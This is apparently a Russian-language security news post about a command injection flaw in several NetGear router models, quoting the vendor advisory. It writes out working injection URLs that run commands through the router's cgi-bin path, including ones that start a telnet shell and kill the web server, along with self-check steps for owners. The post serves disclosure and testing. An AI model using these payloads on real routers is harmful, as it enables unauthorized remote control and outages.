В некоторых моделях роутеров NetGear была обнаружена серьезная узвимость, которая позволяет злоумышленникам удаленно исполнять команды Linux на устройствах. Для эксплуатации уязвимости злоумышленники могут использовать специальным образом сформированный запрос к роутеру и отправить его через заранее подготовленную веб-страницу.
NETGEAR has recently become aware of the security issue #582384 that allows unauthenticated web pages to pass form input directly to the command-line interface. A remote attacker can potentially inject arbitrary commands which are then executed by the system.
Уязвимость достаточно проста в эксплуатации, для этого может использоваться следующая команда.
http://[router_IP]/cgi-bin/;COMMAND
Т. е. достаточно указать путь к директории cgi-bin на роутере и поставить после него точку с запятой, а затем указать требуемые для исполнения команды. Например,
http://[router-address]/cgi-bin/;uname$IFS-a — для вывода информации о роутере
http://[router-address]/cgi-bin/;telnetd$IFS-p$IFS’56789 — для запуска сервера telnet
http://[router-address]/cgi-bin/;killall$IFS’httpd’ — завершить процесс веб-сервера.
Следующие модели роутеров NetGear подвержены данной уязвимости.
NetGear AC1750-Smart WiFi Router (Model R6400)
NetGear AC1900-Nighthawk Smart WiFi Router (Model R7000)
NetGear AC2300-Nighthawk Smart WiFi Router with MU-MIMO (Model R7000P)
NetGear AC2350-Nighthawk X4 AC 2350 Dual Band WiFi Router (Model R7500)
NetGear AC2600-Nighthawk X4S Smart WiFi Gaming Router (Model R7800)
NetGear AC3200-Nighthawk AC3200 Tri-Band WiFi Router (Model R8000)
NetGear AC5300-AC5300 Nighthawk X8 Tri-Band WiFi Router (Model R8500)
NetGear AD7200-Nighthawk X10 Smart WiFi Router (R9000)
Для проверки уязвимости роутера можно воспользоваться следующими инструкциями (Windows).
1. Наберите в веб-браузере http://[router_IP]/cgi-bin/;telnetd$IFS-p$IFS’56789′, подставив вместо router_IP IP-адрес роутера.
2. Запустите командную строку (Win+R > cmd).
3. Наберите в командной строке следующую команду telnet [router_IP] 56789, подставив вместо router_IP IP-адрес роутера.
4. В случае уязвимости роутера, т. е. в том случае, если первая команда была успешно выполнена на нем, вы получите приветственный экран командной оболочки роутера. В том случае, если будет показано сообщение об ошибке, прошивка роутера не является уязвимой.
5. В случае успешного выполнения первой команды, процесс сервера нужно завершить. Для этого следует вывести список всех процессов и выбрать из него нужный командой ps | grep telnet.
6. Затем нужно выполнить команду kill <process_id>, при этом заменив process_id на идентификатор процесса telnet, который был получен после выполнения предыдущей команды.
Пользователям уязвимых версий роутеров следует дождаться выпуска соответствующего исправления и установить его.